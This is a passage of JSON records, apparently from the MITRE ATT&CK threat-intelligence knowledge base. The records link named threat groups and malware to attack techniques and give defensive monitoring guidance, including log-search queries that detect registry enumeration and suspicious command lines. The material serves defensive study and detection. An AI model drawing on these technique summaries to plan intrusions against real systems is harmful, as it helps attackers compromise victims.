"relationship--cc9ffcec-db79-4913-91ae-ffd5cec643f7", "created": "2018-10-17T00:14:20.652Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). 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Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has enumerated processes on targeted systems.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-06-15T14:57:55.564Z", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--cca0dc19-ea37-4502-b2d4-7ce09f07be72", "created": "2022-05-05T15:52:48.109Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ESET Gelsemium June 2021", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Gelsemium](https://attack.mitre.org/software/S0666) has the ability to use various Windows API functions to perform tasks.(Citation: ESET Gelsemium June 2021)", "modified": "2022-05-05T21:57:55.244Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cca1289f-accd-4fbe-902c-b99c6200e707", "created": "2022-03-30T14:26:51.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-27T21:07:43.608Z", "description": "Monitor for abnormal DLLs that are loaded by `spoolsv.exe`. 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(2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.", "url": "https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-08T01:10:24.494Z", "description": "[COATHANGER](https://attack.mitre.org/software/S1105) decodes configuration items from a bundled file for command and control activity.(Citation: NCSC-NL COATHANGER Feb 2024)", "relationship_type": "uses", "source_ref": "malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ccb67d98-71d6-4a26-86b6-281174ca07b0", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler Kasidet", "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"}], "modified": "2020-03-16T17:02:26.265Z", "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to search for a given filename on a victim.(Citation: Zscaler Kasidet)", "relationship_type": "uses", "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ccb80607-a8bf-4e6b-a3e3-1755cd317552", "type": "relationship", "created": "2021-04-08T15:24:43.698Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Rewterz Sidewinder COVID-19 June 2020", "url": "https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19", "description": "Rewterz. (2020, June 22). Analysis on Sidewinder APT Group \u2013 COVID-19. Retrieved January 29, 2021."}], "modified": "2021-04-08T17:35:15.896Z", "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has named malicious files <code>rekeywiz.exe</code> to match the name of a legitimate Windows executable.(Citation: Rewterz Sidewinder COVID-19 June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ccb912dd-ed1f-4844-9bc0-75a033fa8813", "type": "relationship", "created": "2022-02-01T21:21:35.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky WIRTE November 2021", "url": "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044", "description": "Yamout, M. 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Retrieved February 1, 2022."}], "modified": "2022-02-01T21:21:35.872Z", "description": "[Ferocious](https://attack.mitre.org/software/S0679) can delete files from a compromised host.(Citation: Kaspersky WIRTE November 2021)", "relationship_type": "uses", "source_ref": "malware--73d08401-005f-4e1f-90b9-8f45d120879f", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ccb94ba8-3384-40cf-a810-ab4a2423c54d", "type": "relationship", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.865Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ccba2fd3-636e-4283-8bd8-792b544df6f5", "type": "relationship", "created": "2022-03-30T14:26:51.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.843Z", "description": "Monitor for third-party application logging, messaging, and/or other artifacts provided by third-party services that may disable Windows event logging to limit data that can be leveraged for detections and audits.", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ccbdfb01-1610-4cf1-ae44-e1fe521d5eb9", "type": "relationship", "created": "2022-03-30T14:26:51.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.846Z", "description": "Monitor executed commands and arguments that may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ccc14a82-43bc-4eea-b19f-95aba6bdb5e6", "type": "relationship", "created": "2021-06-30T16:13:40.484Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Chaes Nov 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}], "modified": "2021-06-30T16:13:40.484Z", "description": "[Chaes](https://attack.mitre.org/software/S0631) has used JavaScript and Node.Js information stealer script that exfiltrates data using the node process.(Citation: Cybereason Chaes Nov 2020)", "relationship_type": "uses", "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ccc38b61-c517-4186-909a-760f12ef65e8", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf", "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", "source_name": "Microsoft SIR Vol 19"}], "modified": "2020-03-17T00:47:59.894Z", "description": "[CORESHELL](https://attack.mitre.org/software/S0137) is installed via execution of rundll32 with an export named \"init\" or \"InitW.\"(Citation: Microsoft SIR Vol 19)", "relationship_type": "uses", "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ccc5e544-25b0-480c-a7b2-4ed10f5e6605", "type": "relationship", "created": "2022-03-30T14:26:51.853Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.853Z", "description": "Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ccc79ae5-de3c-4955-8179-2c4aa652613d", "created": "2022-02-09T14:32:47.787Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has hosted content used for targeting efforts via web services such as Blogspot.(Citation: Talos Kimsuky Nov 2021)", "modified": "2022-04-19T01:11:09.117Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ccd237b6-c7d6-4941-a1f2-cb563ae90b79", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TYPEFRAME June 2018", "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}], "modified": "2020-06-23T20:40:40.910Z", "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) has used a malicious Word document for delivery with VBA macros for execution.(Citation: US-CERT TYPEFRAME June 2018)", "relationship_type": "uses", "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ccd387c3-f818-468e-ac13-24b6aab2a061", "created": "2024-02-13T16:26:30.096Z", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Update May 2021", "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-13T16:26:30.096Z", "description": "[APT5](https://attack.mitre.org/groups/G1023) has used the BLOODMINE utility to collect data on web requests from Pulse Secure Connect logs.(Citation: Mandiant Pulse Secure Update May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ccd4c695-2458-4eb0-ad9c-a19d411f7627", "type": "relationship", "created": "2021-11-12T19:30:36.099Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fortinet Diavol July 2021", "url": "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", "description": "Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}], "modified": "2021-11-12T19:30:36.099Z", "description": "[Diavol](https://attack.mitre.org/software/S0659) can collect the computer name and OS version from the system.(Citation: Fortinet Diavol July 2021)", "relationship_type": "uses", "source_ref": "malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ccd6c063-9699-4592-b903-3becc2008b91", "created": "2022-06-09T20:26:09.044Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Malwarebytes Saint Bot April 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/", "description": "Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Saint Bot](https://attack.mitre.org/software/S1018) has been disguised as a legitimate executable, including as Windows SDK.(Citation: Malwarebytes Saint Bot April 2021)", "modified": "2022-06-09T20:26:09.044Z", "relationship_type": "uses", "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ccd99593-7ff0-4706-aa94-73cc8d237fe8", "created": "2019-05-24T17:57:36.633Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Group IB Silence Sept 2018", "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.", "url": "https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}, {"source_name": "Cyber Forensicator Silence Jan 2019", "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.", "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-10T14:30:32.224Z", "description": "[Silence](https://attack.mitre.org/groups/G0091) has deleted artifacts, including scheduled tasks, communicates files from the C2 and other logs.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: Group IB Silence Sept 2018)\t", "relationship_type": "uses", "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ccdab928-86cd-4e6d-b477-0ec156f6105a", "type": "relationship", "created": "2022-02-18T15:21:51.169Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Actinium February 2022", "url": "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", "description": "Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}, {"source_name": "Unit 42 Gamaredon February 2022", "url": "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", "description": "Unit 42. (2022, February 3). Russia\u2019s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}], "modified": "2022-02-21T15:11:39.858Z", "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has registered multiple domains to facilitate payload staging and C2.(Citation: Microsoft Actinium February 2022)(Citation: Unit 42 Gamaredon February 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ccdafe5f-5bad-4929-8767-739c3f48b9c1", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T16:31:52.790Z", "description": "Monitor for newly executed processes that may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nNote: The New-PSDrive PowerShell cmdlet creates temporary and persistent drives that are mapped to or associated with a location in a data store, such a registry key (PSProvider \u201cRegistry\u201d). The Get-ChildItem gets the items in one or more specified locations. By using both, you can enumerate COM objects in one or more specified locations.\n\nNote for Analytic 3: Replace FilePathToLolbasProcessXX.exe with lolBAS process names that are used by your organization. The number_standard_deviations parameter should be tuned accordingly. Identifying outliers by comparing distance from a data point to the average value against a certain number of standard deviations is recommended for data values that are symmetrical distributed. If your data is not distributed, try a different algorithm such as the Interquartile Range (IQR).\n\nAnalytic 1 - Suspicious Processes with Registry keys\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") \n| search (CommandLine LIKE \"%reg%\" AND CommandLine LIKE \"%query%\") OR (CommandLine LIKE \"%Registry%\" AND (CommandLine LIKE \"%HKEY_CLASSES_ROOT%\" OR CommandLine \"%HKCR%\"))</code>\n    \nAnalytic 2 - reg.exe spawned from suspicious cmd.exe\n\n<code>((source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") \n| WHERE (Image LIKE \"%reg.exe%\" AND ParentImage LIKE \"%cmd.exe%\")\n| rename ProcessParentGuid as guid\n| join type=inner guid\n[ | search ((source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND (Image LIKE \"%cmd.exe%\" AND ParentImage NOT LIKE \"%explorer.exe%\")\n| rename ProcessGuid as guid ]</code>\n\nAnalytic 3 - Rare LolBAS command lines\n\n<code> ((source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND Image IN ('FilePathToLolbasProcess01.exe','FilePathToLolbasProcess02.exe') AND number_standard_deviations = 1.5\n| select Image, ProcessCount, AVG(ProcessCount) Over() - STDEV(ProcessCount) Over() * number_standard_deviations AS LowerBound \n| WHERE ProcessCount < LowerBound</code>\n", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ccdb0aac-24b8-4e94-a3b6-b7e1c519a938", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia", "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", "source_name": "Symantec Orangeworm April 2018"}], "modified": "2019-03-25T15:36:46.849Z", "description": "(Citation: Symantec Orangeworm April 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ccdff6e8-75ea-4386-ab0f-435ac35ccc61", "type": "relationship", "created": "2020-03-13T18:11:08.520Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-13T18:11:08.520Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cce31baa-5862-4df5-806f-15aaa7410fa5", "type": "relationship", "created": "2017-05-31T21:33:27.039Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender APT28 Dec 2015", "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}, {"url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf", "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", "source_name": "Microsoft SIR Vol 19"}, {"description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/", "source_name": "Securelist Sofacy Feb 2018"}], "modified": "2019-12-20T14:26:01.157Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has exploited CVE-2014-4076, CVE-2015-2387, CVE-2015-1701, CVE-2017-0263 to escalate privileges.(Citation: Bitdefender APT28 Dec 2015)(Citation: Microsoft SIR Vol 19)(Citation: Securelist Sofacy Feb 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cce43f73-d564-4c60-9492-52b3f7039b7b", "created": "2023-04-04T21:32:01.457Z", "revoked": false, "external_references": [{"source_name": "SentinelLabs Metador Technical Appendix Sept 2022", "description": "SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.", "url": "https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-04T21:32:01.457Z", "description": "[Mafalda](https://attack.mitre.org/software/S1060) can search for debugging tools on a compromised host.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)", "relationship_type": "uses", "source_ref": "malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68", "target_ref": "attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cce441ef-ca18-461b-878c-496da97ccc06", "created": "2024-02-07T18:54:54.149Z", "revoked": false, "external_references": [{"source_name": "NCSC-NL COATHANGER Feb 2024", "description": "Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.", "url": "https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-07T18:54:54.149Z", "description": "[COATHANGER](https://attack.mitre.org/software/S1105) creates and installs itself to a hidden installation directory.(Citation: NCSC-NL COATHANGER Feb 